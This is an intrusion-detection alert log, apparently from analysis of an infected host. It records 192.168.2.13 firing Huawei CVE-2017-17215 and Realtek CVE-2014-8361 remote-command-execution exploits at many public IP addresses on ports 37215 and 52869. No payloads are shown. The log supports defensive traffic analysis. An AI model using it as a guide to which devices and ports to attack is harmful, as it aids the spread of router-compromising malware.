07/20/24-23:01:02.669609	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32890	37215	192.168.2.13	41.184.93.79
07/20/24-23:01:07.590873	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35724	52869	192.168.2.13	135.82.236.8
07/20/24-23:01:07.218094	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38068	52869	192.168.2.13	47.14.186.72
07/20/24-23:01:12.485954	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55354	37215	192.168.2.13	157.65.122.167
07/20/24-23:01:05.588823	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42224	52869	192.168.2.13	204.52.130.30
07/20/24-23:01:14.541501	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41896	52869	192.168.2.13	77.190.202.82
07/20/24-23:01:04.858015	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54214	37215	192.168.2.13	183.67.166.218
07/20/24-23:01:08.455372	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51024	37215	192.168.2.13	51.3.11.1
07/20/24-23:01:06.812906	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37212	37215	192.168.2.13	41.65.122.143
07/20/24-23:00:59.020375	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44478	37215	192.168.2.13	41.185.235.4
07/20/24-23:01:21.670918	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34304	52869	192.168.2.13	98.113.228.216
07/20/24-23:01:19.219285	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33092	52869	192.168.2.13	43.126.159.21
07/20/24-23:00:59.020935	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33556	37215	192.168.2.13	157.220.78.185
07/20/24-23:01:36.785491	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51126	37215	192.168.2.13	157.53.121.29
07/20/24-23:01:22.740155	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32846	37215	192.168.2.13	197.220.255.251
07/20/24-23:00:59.020815	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58342	37215	192.168.2.13	67.164.145.87
07/20/24-23:01:07.504277	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52006	52869	192.168.2.13	71.163.97.163
07/20/24-23:01:22.806676	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58190	37215	192.168.2.13	197.221.199.154
07/20/24-23:01:32.250505	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43210	37215	192.168.2.13	218.117.198.70
07/20/24-23:01:27.306441	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46634	37215	192.168.2.13	157.2.117.43
07/20/24-23:01:08.381149	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34416	37215	192.168.2.13	41.20.81.160
07/20/24-23:01:36.787101	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44574	37215	192.168.2.13	197.254.240.168
07/20/24-23:01:12.504870	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47680	37215	192.168.2.13	197.173.191.191
07/20/24-23:01:19.531622	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47006	52869	192.168.2.13	34.213.231.189
07/20/24-23:01:17.798948	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44254	37215	192.168.2.13	41.44.29.75
07/20/24-23:01:14.536691	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36314	52869	192.168.2.13	162.202.222.182
07/20/24-23:01:36.862442	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37704	37215	192.168.2.13	139.189.20.44
07/20/24-23:01:32.203847	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44882	37215	192.168.2.13	85.126.249.142
07/20/24-23:01:06.134141	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42424	52869	192.168.2.13	170.23.175.88
07/20/24-23:01:14.551639	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55390	52869	192.168.2.13	47.222.214.79
07/20/24-23:01:25.460589	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37326	37215	192.168.2.13	139.174.115.167
07/20/24-23:01:14.536803	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44334	52869	192.168.2.13	115.130.21.220
07/20/24-23:01:08.383417	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34102	37215	192.168.2.13	41.136.49.246
07/20/24-23:01:17.785461	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60746	37215	192.168.2.13	197.77.227.245
07/20/24-23:01:08.407500	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46786	37215	192.168.2.13	197.56.151.249
07/20/24-23:01:06.525721	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53966	52869	192.168.2.13	13.146.164.210
07/20/24-23:01:06.813789	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46768	37215	192.168.2.13	178.209.30.110
07/20/24-23:01:07.320609	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43538	52869	192.168.2.13	2.24.106.226
07/20/24-23:01:15.000888	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39250	37215	192.168.2.13	41.224.237.80
07/20/24-23:01:14.502058	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	32882	52869	192.168.2.13	170.113.9.186
07/20/24-23:01:14.546163	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52560	52869	192.168.2.13	92.52.112.233
07/20/24-23:01:08.392907	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43728	37215	192.168.2.13	197.22.169.206
07/20/24-23:01:36.781603	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44268	37215	192.168.2.13	41.113.63.215
07/20/24-23:01:36.781603	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45842	37215	192.168.2.13	41.101.46.186
07/20/24-23:01:36.798333	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54130	37215	192.168.2.13	157.86.138.181
07/20/24-23:01:19.351435	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57618	52869	192.168.2.13	78.15.229.242
07/20/24-23:01:32.232613	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53060	37215	192.168.2.13	197.187.147.201
07/20/24-23:01:02.607576	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49892	37215	192.168.2.13	159.11.170.80
07/20/24-23:01:14.556765	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35812	52869	192.168.2.13	41.74.147.143
07/20/24-23:01:14.530874	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43200	52869	192.168.2.13	216.44.193.248
07/20/24-23:01:14.535851	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40336	52869	192.168.2.13	78.238.220.249
07/20/24-23:01:14.550185	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41260	52869	192.168.2.13	173.204.137.85
07/20/24-23:01:06.804996	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47910	37215	192.168.2.13	189.184.222.159
07/20/24-23:01:27.447773	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33596	52869	192.168.2.13	89.83.219.148
07/20/24-23:01:25.390486	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33624	37215	192.168.2.13	157.46.40.182
07/20/24-23:01:32.250506	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54136	37215	192.168.2.13	57.73.235.152
07/20/24-23:01:08.386561	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58218	37215	192.168.2.13	145.152.149.135
07/20/24-23:01:32.276800	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57822	37215	192.168.2.13	41.233.111.48
07/20/24-23:01:27.226586	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44976	37215	192.168.2.13	220.0.252.243
07/20/24-23:01:08.381149	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41216	37215	192.168.2.13	157.247.234.47
07/20/24-23:01:12.356737	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39884	37215	192.168.2.13	41.218.110.52
07/20/24-23:01:02.661070	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52570	37215	192.168.2.13	14.89.47.143
07/20/24-23:01:12.504870	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52320	37215	192.168.2.13	41.139.31.193
07/20/24-23:01:19.948054	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40046	52869	192.168.2.13	159.21.195.127
07/20/24-23:01:36.850220	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47708	37215	192.168.2.13	157.152.158.12
07/20/24-23:01:14.501031	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46988	52869	192.168.2.13	202.159.56.129
07/20/24-23:00:59.021308	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54950	37215	192.168.2.13	157.230.111.60
07/20/24-23:01:14.536691	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36314	52869	192.168.2.13	162.202.222.182
07/20/24-23:01:27.276711	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37430	37215	192.168.2.13	197.232.250.10
07/20/24-23:01:27.361024	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53210	52869	192.168.2.13	138.112.34.112
07/20/24-23:01:19.364895	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47916	52869	192.168.2.13	170.245.248.200
07/20/24-23:01:14.547545	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59698	52869	192.168.2.13	180.115.139.253
07/20/24-23:01:02.682054	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33990	37215	192.168.2.13	46.91.29.61
07/20/24-23:01:25.389455	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56314	37215	192.168.2.13	157.84.205.54
07/20/24-23:01:25.388974	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58504	37215	192.168.2.13	41.173.88.11
07/20/24-23:01:27.277398	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37986	37215	192.168.2.13	157.196.105.18
07/20/24-23:00:59.019819	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39572	37215	192.168.2.13	197.64.178.193
07/20/24-23:00:59.020988	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32838	37215	192.168.2.13	41.150.219.200
07/20/24-23:01:05.628783	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49612	52869	192.168.2.13	152.161.224.79
07/20/24-23:00:59.019539	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36272	37215	192.168.2.13	182.85.50.153
07/20/24-23:01:32.250506	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34050	37215	192.168.2.13	85.227.114.118
07/20/24-23:01:14.508164	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39936	52869	192.168.2.13	183.89.166.139
07/20/24-23:01:14.513708	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59664	52869	192.168.2.13	147.164.232.161
07/20/24-23:01:17.779183	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45104	37215	192.168.2.13	197.242.220.137
07/20/24-23:01:02.669609	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46646	37215	192.168.2.13	125.124.24.16
07/20/24-23:01:27.357902	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35036	52869	192.168.2.13	116.119.255.178
07/20/24-23:01:04.858821	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33616	37215	192.168.2.13	157.217.115.59
07/20/24-23:01:27.229449	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37706	37215	192.168.2.13	157.218.91.167
07/20/24-23:01:27.354179	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39718	52869	192.168.2.13	5.243.194.6
07/20/24-23:00:59.023356	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52376	37215	192.168.2.13	138.35.105.236
07/20/24-23:01:15.063530	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54600	37215	192.168.2.13	157.24.38.215
07/20/24-23:01:27.354427	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47730	52869	192.168.2.13	34.213.231.189
07/20/24-23:01:02.703502	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42176	37215	192.168.2.13	157.12.16.61
07/20/24-23:01:12.539005	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35590	37215	192.168.2.13	157.178.148.6
07/20/24-23:01:27.354992	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53932	52869	192.168.2.13	147.253.173.13
07/20/24-23:01:14.504881	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54226	52869	192.168.2.13	58.55.6.110
07/20/24-23:01:05.556569	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50004	52869	192.168.2.13	77.222.205.40
07/20/24-23:00:59.020901	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37268	37215	192.168.2.13	41.152.229.173
07/20/24-23:01:32.257456	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40106	37215	192.168.2.13	41.17.144.249
07/20/24-23:01:14.570907	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37710	52869	192.168.2.13	135.82.236.8
07/20/24-23:01:27.263646	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49878	37215	192.168.2.13	197.132.29.177
07/20/24-23:01:04.892226	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46482	37215	192.168.2.13	41.209.16.109
07/20/24-23:01:22.744419	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40832	37215	192.168.2.13	197.97.73.167
07/20/24-23:01:02.607205	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32842	37215	192.168.2.13	157.204.6.4
07/20/24-23:01:02.601732	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52314	37215	192.168.2.13	197.140.115.231
07/20/24-23:01:12.533730	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37750	37215	192.168.2.13	197.97.33.116
07/20/24-23:01:36.850101	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32876	37215	192.168.2.13	197.178.196.156
07/20/24-23:01:36.808711	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51588	37215	192.168.2.13	197.101.65.229
07/20/24-23:01:08.392180	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37452	37215	192.168.2.13	157.38.51.236
07/20/24-23:01:36.799485	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51050	37215	192.168.2.13	197.238.130.84
07/20/24-23:01:22.743516	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35166	37215	192.168.2.13	223.37.180.162
07/20/24-23:01:27.352864	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33822	52869	192.168.2.13	43.126.159.21
07/20/24-23:01:14.559132	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45328	52869	192.168.2.13	188.74.101.140
07/20/24-23:01:06.798720	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42640	37215	192.168.2.13	197.250.244.14
07/20/24-23:01:14.507784	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49260	52869	192.168.2.13	213.249.133.80
07/20/24-23:01:22.745836	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49906	37215	192.168.2.13	5.63.79.183
07/20/24-23:01:02.620832	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42426	37215	192.168.2.13	157.28.17.113
07/20/24-23:01:06.801747	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56092	37215	192.168.2.13	41.230.84.239
07/20/24-23:00:59.019716	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33704	37215	192.168.2.13	197.92.237.222
07/20/24-23:01:27.229449	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52816	37215	192.168.2.13	41.156.147.3
07/20/24-23:01:14.570907	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37710	52869	192.168.2.13	135.82.236.8
07/20/24-23:01:02.603717	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47084	37215	192.168.2.13	197.151.215.75
07/20/24-23:01:07.276989	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35090	52869	192.168.2.13	122.26.122.109
07/20/24-23:00:59.020375	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50918	37215	192.168.2.13	157.245.110.242
07/20/24-23:01:14.544045	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37006	52869	192.168.2.13	109.242.201.39
07/20/24-23:01:19.377087	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40146	52869	192.168.2.13	140.192.14.130
07/20/24-23:01:27.276711	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35450	37215	192.168.2.13	62.79.48.97
07/20/24-23:01:02.613618	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44900	37215	192.168.2.13	197.77.114.34
07/20/24-23:01:14.521013	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45040	52869	192.168.2.13	8.104.228.104
07/20/24-23:01:14.521865	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41888	52869	192.168.2.13	83.224.119.168
07/20/24-23:01:05.941292	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34744	52869	192.168.2.13	72.60.254.31
07/20/24-23:01:17.790236	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35968	37215	192.168.2.13	140.155.1.23
07/20/24-23:01:36.793382	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45050	37215	192.168.2.13	192.27.160.139
07/20/24-23:01:32.202245	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38114	37215	192.168.2.13	197.57.237.13
07/20/24-23:01:02.613618	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59198	37215	192.168.2.13	41.60.18.93
07/20/24-23:01:27.277398	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45178	37215	192.168.2.13	157.165.57.111
07/20/24-23:01:22.811587	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46170	37215	192.168.2.13	41.107.44.23
07/20/24-23:01:36.850100	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44266	37215	192.168.2.13	151.30.84.182
07/20/24-23:01:14.525838	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49290	52869	192.168.2.13	136.164.189.225
07/20/24-23:01:02.601732	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41644	37215	192.168.2.13	197.214.26.254
07/20/24-23:01:06.808312	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57400	37215	192.168.2.13	12.119.212.86
07/20/24-23:01:04.861979	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40720	37215	192.168.2.13	41.180.188.91
07/20/24-23:01:32.244559	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35570	37215	192.168.2.13	41.121.157.206
07/20/24-23:01:04.848636	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59888	37215	192.168.2.13	197.79.63.222
07/20/24-23:01:06.358322	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44760	52869	192.168.2.13	168.61.125.85
07/20/24-23:01:06.437475	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33516	52869	192.168.2.13	117.76.117.93
07/20/24-23:01:22.811587	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57992	37215	192.168.2.13	157.144.66.58
07/20/24-23:01:06.224182	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39234	52869	192.168.2.13	173.204.137.85
07/20/24-23:01:04.917925	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40334	37215	192.168.2.13	73.212.180.198
07/20/24-23:01:06.808312	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47146	37215	192.168.2.13	41.148.73.239
07/20/24-23:01:14.535851	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40336	52869	192.168.2.13	78.238.220.249
07/20/24-23:01:06.802009	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46140	37215	192.168.2.13	197.106.105.40
07/20/24-23:01:04.848636	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39774	37215	192.168.2.13	41.96.4.94
07/20/24-23:01:17.786876	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35996	37215	192.168.2.13	157.194.122.181
07/20/24-23:01:25.416964	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35244	37215	192.168.2.13	41.175.218.202
07/20/24-23:01:06.813789	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40864	37215	192.168.2.13	197.107.145.193
07/20/24-23:01:22.826612	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43862	37215	192.168.2.13	157.95.42.53
07/20/24-23:01:14.998444	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41946	37215	192.168.2.13	157.180.89.127
07/20/24-23:00:59.021825	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39374	37215	192.168.2.13	41.194.84.193
07/20/24-23:01:04.592707	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60404	52869	192.168.2.13	119.150.77.161
07/20/24-23:00:59.022037	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40934	37215	192.168.2.13	197.16.131.86
07/20/24-23:01:02.669609	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38878	37215	192.168.2.13	41.66.205.159
07/20/24-23:01:22.737021	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59078	37215	192.168.2.13	41.32.160.8
07/20/24-23:01:27.366829	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39100	52869	192.168.2.13	128.42.37.53
07/20/24-23:01:04.848605	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50640	37215	192.168.2.13	41.142.181.62
07/20/24-23:01:04.841989	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34506	37215	192.168.2.13	41.116.235.163
07/20/24-23:01:25.389819	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41108	37215	192.168.2.13	41.113.171.224
07/20/24-23:01:14.566160	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57730	52869	192.168.2.13	95.49.112.227
07/20/24-23:01:04.994187	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41804	52869	192.168.2.13	158.159.28.203
07/20/24-23:01:20.292473	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41010	52869	192.168.2.13	97.115.201.63
07/20/24-23:01:14.525838	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34546	52869	192.168.2.13	78.145.139.16
07/20/24-23:01:12.483085	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47110	37215	192.168.2.13	71.13.191.125
07/20/24-23:01:22.740155	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52952	37215	192.168.2.13	197.39.109.82
